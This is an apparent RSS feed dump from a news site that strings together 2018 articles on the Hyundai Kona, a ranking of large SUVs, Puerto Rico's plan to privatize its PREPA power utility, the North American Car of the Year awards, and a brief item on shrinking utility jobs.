We’re also pretty keen on the upgrade from the Kona’s standard 2.0-liter inline-four-cylinder engine to the 1.6-liter turbocharged unit that comes on upper-level Limited and Ultimate trim levels. The base engine’s 147 horsepower and 132 pound-feet of torque are competitive in the segment. But the turbo mill offers 175 horsepower with such a healthy surge of 195 pound-feet of torque from 1,500 through 4,500 rpm that it morphs the little Kona into a very quick little runabout, especially when the driver manually selects gears to keep the turbo spinning in its happy place in the middle stretches of the tach.

The optional turbocharged engine gives the Kona a leg up on its main competitors. The Honda HR-V’s 141 horsepower and 127 pound-feet of torque don’t come close, and its CVT transmission saps away most of the fun of the otherwise decent driving dynamics. The Subaru Crosstrek’s CVT is less obtrusive than Honda’s, but still doesn’t thrill driving enthusiasts like Hyundai’s dual-clutch transmission.

2018 Hyundai Kona

We’d love to see a standard manual gearbox, but the only model in the segment that offers a six-speed stick is the Jeep Renegade. Too bad, but the turbo models’ 7-speed dual-clutch transmission is a nice upgrade from the 6-speed slushbox that’s standard with the 2.0-liter on SE and SEL trims. All Kona models, regardless of trim, benefit from Torque Vectoring By Braking, which can selectively brake the inside front wheel on front-drive models or the inside rear wheel on AWD models while rounding a corner, reducing the feeling of understeer.

As we mentioned earlier, driving dynamics fall below price and style for most small crossover buyers. Still, the Hyundai Kona is a pretty nice vehicle to drive enthusiastically. Power from the 1.6-liter turbocharged engine comes on strong in the mid-range, and that rush of torque is a solid reason to choose the Kona over its naturally aspirated competitors. The ride and handling compromise is reasonable, with a smooth but well-controlled ride. There’s a requisite button for Sport mode, but we think that’s a little incongruous considering the vehicle’s audience and mission statement.

Considering the rapid growth of the small crossover segment in America, it’s hard to believe that the Kona is Hyundai’s first foray into the market. Waiting a few years before diving in allowed Hyundai to get the Kona right the first time. It ticks all the appropriate boxes, with optional all-wheel drive (which the Toyota C-HR and Nissan Kicks lack), standard Android Auto and Apple CarPlay (not available in the Honda HR-V), and available Google Home and Amazon Alexa integration.

2018 Hyundai Kona

The Kona is going to appeal to style-conscious buyers much more than a comparable Subaru Crosstrek, and its available turbocharged engine, huge list of standard and optional features, and comprehensive suite of safety tech ought to attract a good sum of buyers away from the Honda HR-V. To wit, while Honda offers its LaneWatch system in the HR-V, Hyundai trumps that with blind-spot and rear cross-traffic warnings, forward collision avoidance assist, lane-departure warning, and lane-keeping assist.

The rapid growth of the small crossover segment indicates that thousands of new-car buyers in America are willing to sacrifice a small amount of efficiency in favor of rugged looks and a rear hatch. With a starting price of right around $ 20,000 – or about the same price as a compact sedan like Hyundai’s own Elantra – owners can exchange a smidge of rear-seat room and a couple miles per gallon in favor of more cargo space, available (and recommended) all-wheel drive, and a unique sense of style. And buyers are doing exactly that in droves.

Hyundai desperately needed an entry in this burgeoning segment, but fortunately the Kona is more than that. It’s is well positioned to not just challenge segment leaders, but to win. The optional turbo engine and dual-clutch transmission are there to entice enthusiasts, and the standard and optional equipment lists mean there’s a Kona for every would-be buyer to consider. We may not love its face, but we’re going to have to get used to it – we have a feeling we’re going to be seeing lots of new Konas on roads all across the United States.

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]]> https://briefnews.eu/2018-hyundai-kona-first-drive-review-serving-style-price-and-utility-in-that-order/feed/ 0 These are our favorite large utility vehicles of 2018 (for now) https://briefnews.eu/these-are-our-favorite-large-utility-vehicles-of-2018-for-now/ https://briefnews.eu/these-are-our-favorite-large-utility-vehicles-of-2018-for-now/#respond Thu, 25 Jan 2018 23:47:11 +0000 http://briefnews.eu/these-are-our-favorite-large-utility-vehicles-of-2018-for-now/

  • Image Credit: Lincoln

Our Current Favorite Large Utility Vehicles

So, you have a big family. You like to bring all your belongings with you. You like to tow. And you want to do all of these things at the same time.

Welcome to the world of large utility vehicles. Entries into this segment run the gamut from base, four-cylinder, front-wheel-drive urban runabouts all the way to luxurious, leather-clad land barges cresting $ 100,000. There’s probably a sweet spot somewhere in the middle for just about anyone who needs this kind of capability, and we’re here to help you find it.

We’ve ranked our favorite large utility vehicles in order of how much we enjoyed our time with them. We’ll keep this list continually updated as we drive more vehicles, but for now, here’s how they stack up.

  • Image Credit: Chevrolet

Chevrolet Traverse

The Chevy Traverse is a perfectly competent entry into the large three-row utility vehicle segment. It’s just not exciting. At all. In our First Drive Review, we said:

“Taken as a whole, the new Traverse is a bit of a mixed bag. It doesn’t do anything new or groundbreaking, but there are no fatal flaws either. It’s a solid, if uninspiring effort from Chevrolet. The interior is a letdown, especially when compared to something like the masterful design inside the Honda Pilot. The Honda manages to feel both premium and hugely versatile, while the Chevy only manages the latter. That seems to be endemic of GM as a whole right now. The Traverse does have size on its side, and if you need the space, then it’s hard to look elsewhere.”

Thing is, if it’s size you’re after, you’ll find much larger SUVs on this list. The Traverse has its place, and Chevy will sell loads of them, but we think you might be able to find a better option if you look a little harder.

Research the 2018 Chevrolet Traverse

  • Image Credit: Buick

Buick Enlave

If you’re looking for a top-level interior from a large three-row utility vehicle, and you want to buy a product from General Motors, we suggest you take a look at the Buick Enclave. From our First Drive Review:

“Our first impression was, “Wow, this interior is really nice.” The leather upon which we sat was soft, smooth to the touch, and interesting in its shapeliness. Looking around the cabin, we saw a lot of gentle curves and thoughtful accents that made the inside of the Enclave feel downright premium. It was a fresh and airy sense of taste though, and definitely not the seasoned wood-and-whiskey stodginess one might expect from the Buick name.

“Our second impression: “Boy, it’s quiet in here.””

The Chevy Traverse and Buick Enclave both use a 3.6-liter V6 engine, a nine-speed automatic transmission, and are optionally available with all-wheel drive. Yes, the Buick is more expensive, but it feels worth it.

Research the 2018 Buick Enclave

  • Image Credit: Volkswagen

Volkswagen Atlas

There’s nothing wrong with the Volkswagen Atlas. It’s got all kinds of interior room, competent powertrain options, and it’s priced competitively. What it’s lacking, though, is emotion. From our First Drive Review:

“VW needed a credible entry into the seven-passenger crossover segment, and now it has one. But the company didn’t break any new ground in the process. We’re sure the brand will sell a whole bunch of Atlases here in America, land of the free and home of buyers who base decisions on value by the pound. But we still wish the Americanization of VW’s traditionally European-tinged lineup aimed for a lot less bland and a little more premium.”

Put simply, some people are going to love the Atlas for its practicality, while others are going to hate it for being so bland.

Research the 2018 Volkswagen Atlas

  • Image Credit: Nissan

Nissan Armada

Most of the world knows this vehicle as the Nissan Patrol. Here in America, it’s called the Armada. And it loses some high-tech off-road gadgetry in favor of tuning for American tastes and a lower starting price. From our First Drive Review:

“Instead of being truckish, the Armada is as tame and composed as any large unibody crossover. For Armada buyers and Nissan engineers, that’s a triumph and a high compliment – not an easy task. If you’ve been drooling over a Land Cruiser but don’t have most of $ 100,000 to spend, the Armada is the ticket.”

So, it’s not the off-road-ready Patrol that the rest of the world gets, but it’s still got plenty of heavy-duty cred. Plus, it’s comfortable, and reasonably priced.

Research the 2018 Nissan Armada

  • Image Credit: Dodge

2018 Dodge Durango SRT

Take a decent three-row SUV like the Dodge Durango, remove the standard six-cylinder engine, replace it with a fire-breathing V8 engine and beefed-up suspension hardware, and you get this. The Dodge Durango SRT benefits from a 392-cubic-inch Hemi V8 spitting out 475 horsepower and 470 pound-feet of torque. From our First Drive Review:

“If you need a vehicle to check three seemingly disparate boxes, the Dodge Durango SRT makes a lot of sense. A third row and solid towing capability can be found in lots of competing vehicles. But if you need that car to be really entertaining when you’re not hauling your kids and boat somewhere – and a second vehicle is out of the question – the Durango SRT is a prime candidate. It’s capable of carrying you and five passengers when you need it, but after you drop the kids off at school you can take the long way to work and wring out the V8 to get your blood pumping. (Your kids will likely also enjoy being thrown back in their seats with the easy-to-use and impressively smooth launch control feature.)”

Not everyone is going to want so much power in their family utility vehicle. But we’re glad Dodge offers the Durango SRT for those who do.

Research the 2018 Dodge Durango

  • Image Credit: Ford

Ford Expedition

For years, the Ford Expedition played second fiddle to the much more successful Chevy Tahoe and GMC Yukon twins. With its latest redesign, which offers up to 400 horsepower and 480 pound-feet of torque from a 3.5-liter EcoBoost V6, the Expedition is now the best in its class. From our First Drive Review:

“Rather than reinvent the Expedition (and Navigator) entirely, Ford dug deep and built the big SUV it should have all along. Instead of a few distinct advantages lost in a sea of mediocrity, the entire vehicle is on par with or better than the GMT2K-platform trucks from GM. Beyond the independent rear suspension, which helps with dynamics as well as rear cargo-floor flatness, and the gee-whiz EcoBoost V6 with best-in-class theoretical fuel economy, there’s a lightweight aluminum body perched on top of a traditional steel ladder frame. Depending on trim and configuration, it’s up to 300 pounds lighter than its predecessor.”

If you want the best fullsize SUV in America, this is probably your best bet. Unless you want a bit more luxury, in which case you should probably click over to the next slide.

Research the 2018 Ford Expedition

  • Image Credit: Lincoln

Lincoln Navigator

As Lincoln’s flagship product, the Navigator has to stand out from the rest of the crowded fullsize utility segment. Thankfully, it does. From our First Drive Review:

“The all-new 2018 Lincoln Navigator is very good. It’s distinctive, capable, and competent in ways that will stand up well in the upper echelon of the SUV hierarchy. And we’ll get this out of the way now: it’s far superior to its primary competitor, the Cadillac Escalade.

“Given its space, performance, style and enormous features list, this is a Lincoln flagship that can finally compete with the big boys.”

Research the 2018 Lincoln Navigator

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]]> https://briefnews.eu/these-are-our-favorite-large-utility-vehicles-of-2018-for-now/feed/ 0 Puerto Rico to privatize crippled power utility PREPA https://briefnews.eu/puerto-rico-to-privatize-crippled-power-utility-prepa/ https://briefnews.eu/puerto-rico-to-privatize-crippled-power-utility-prepa/#respond Tue, 23 Jan 2018 04:22:30 +0000 http://briefnews.eu/puerto-rico-to-privatize-crippled-power-utility-prepa/ As Puerto Rico continues its recovery from Hurricane Maria’s devastation, the island’s government plans to sell its public energy company’s assets in a bid to modernize their power supply system and recoup its economic losses.

Puerto Rico Governor Ricardo Rossello announced Monday that the US territory will begin the privatization process of the Puerto Rico Electric Power Authority (PREPA), selling assets to companies that will “transform the generation system into a modern, efficient, and less expensive one for the people.”

“The Puerto Rico Electric Power Authority (PREPA) has become a heavy burden on our people, who are now hostage to its poor service and high cost,” Rossello said in a televised address. “What we know today as the Puerto Rico Electric Power Authority does not work and cannot continue to operate like this.”

More than four months after the island was hit by a Category 5 hurricane, power has been restored to less than 64 percent of homes and businesses, according to the latest situation report from the Department of Energy. There are still more than a half-million customers without power across the island.

PREPA has lost 30 percent of its employees over the last five years, and the energy system is 28 years older than the average electric power industry in the United States. Rossello added that the island’s dependence on oil “makes it increasingly expensive, more polluting, and less efficient.”

“The maintenance of its infrastructure was practically abandoned over the past decade,” Rossello said. “The energy system is not designed for the needs of the Puerto Rico of today.”

Read more

Ricardo Ramos, executive director of the Electric Power Authority of Puerto Rico (PREPA) © Alvin Baez

Now, Rossello wants the island to move toward a “consumer-centered model,” which he said should be more sustainable, viable, and attract new businesses to the island.

“If we want to facilitate the creation of new jobs and encourage investment on our Island, we have to change the obsolete energy system of the past, to one that serves as the engine of the economy, both for the reliability of those who produce energy, and for the commitment of the Government to regulate and stimulate a modern energy industry,” Rossello said.

PREPA, the largest public utilities in the United States by customers and revenue, had incurred around $ 9 billion in debt before filing for Title III bankruptcy in July. At the time, the entire island was in the midst of a historic $ 74 billion bankruptcy proceeding.

The governor said the privatization will encourage economic growth through competition in the marketplace. However, he repeatedly stated the new system would be “based on renewable and environmentally friendly sources,” in order to aid in recovery efforts after natural disasters.

“With this transformation we can achieve the goal of more than 30% of renewable energy generation. Thus, we will achieve the ability to respond faster to natural disasters. That way we can end the frequent blackouts,” Rossello said.

Tom Sanzillo, director of finance for the Ohio-based Institute for Energy Economics and Financial Analysis, told Reuters that Rossello’s plan would “produce a maximum amount of corruption and a minimal amount of electricity.”

“He’s got no energy plan, no financial analysis, if he thinks he’s going to sell it off and the private sector is going to come in and invest, that is a recipe for Puerto Rico being raked over the coals by private interests,” Sanzillo said.

Rossello laid out the sale of PREPA in a three-part plan that he said could take 18 months.

The first phase consists of drafting legislation to define the legal framework and monitoring the market. Then, the governor said they will evaluate the offers based on their technical, economic and financial evaluation. Finally, the island will negotiate with selected companies that “meet the requirements for the transformation and modernization of our energy system.”

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]]> https://briefnews.eu/puerto-rico-to-privatize-crippled-power-utility-prepa/feed/ 0 Honda, Volvo, Lincoln are North American Car, Utility and Truck of the Year https://briefnews.eu/honda-volvo-lincoln-are-north-american-car-utility-and-truck-of-the-year/ https://briefnews.eu/honda-volvo-lincoln-are-north-american-car-utility-and-truck-of-the-year/#respond Mon, 15 Jan 2018 15:06:24 +0000 http://briefnews.eu/honda-volvo-lincoln-are-north-american-car-utility-and-truck-of-the-year/

The Detroit Auto Show has officially kicked off, as it always does, with the announcement of the North American Car, Utility Vehicle and Truck of the Year winners. For 2018, those are the Honda Accord, Volvo XC60 and Lincoln Navigator, respectively.

The Honda Accord beat out two other finalists, the Toyota Camry and the new Kia Stinger. The Accord stood out for its styling, drivability and standard equipment.

The Volvo XC60 came out ahead of the Alfa Romeo Stelvio and Honda Odyssey minivan. It was chosen for its luxury, ride and value when equipped well.

The Lincoln Navigator, a heavily updated model that remained true to the concept car on which it was based, beat the Ford Expedition, as well as the only pickup in the list, the Chevrolet Colorado ZR2 (which was a finalist for Autoblog‘s own Technology of the Year Award). NACTOY juror Ron Sessions complimented the “more dramatic update” compared to the Expedition. “With its design now aligned with the Continental, the Navigator becomes an even more important image — and the profit-maker for Lincoln,” he said.

The NACTOY Awards have been around since 1994. A panel of 60 judges, all automotive journalists, whittle the list down to three finalists in each category before announcing the winners in January. The Utility Vehicle category was added for 2017.

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]]> https://briefnews.eu/honda-volvo-lincoln-are-north-american-car-utility-and-truck-of-the-year/feed/ 0 Utility Jobs Shrink as New Power Plants Need Fewer Workers https://briefnews.eu/utility-jobs-shrink-as-new-power-plants-need-fewer-workers/ https://briefnews.eu/utility-jobs-shrink-as-new-power-plants-need-fewer-workers/#respond Mon, 15 Jan 2018 14:25:30 +0000 http://briefnews.eu/utility-jobs-shrink-as-new-power-plants-need-fewer-workers/ As coal and nuclear power plants close due to competitive pressures, the number of people employed in making electricity for the U.S. is shrinking.

]]> https://briefnews.eu/utility-jobs-shrink-as-new-power-plants-need-fewer-workers/feed/ 0